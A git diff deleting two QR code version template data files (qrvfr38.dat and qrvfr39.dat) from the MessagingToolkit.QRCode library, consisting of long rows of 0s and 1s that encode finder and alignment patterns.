a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr38.dat +++ /dev/null @@ -1,169 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101011101 -1011101000000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000001101011101 -1000001000000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000101000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -0000001000000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -0000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -0000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0011001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1101111000000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000010000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -1111111000000000000000000000001010100000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -1000001000000000000000000000001000100000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -1011101000000000000000000000001111100000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr39.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr39.dat deleted file mode 100644 index 39157fc..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr39.dat +++ /dev/null @@ -1,173 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -10111010000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000011101011101 -10000010000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000101000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -00000010000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 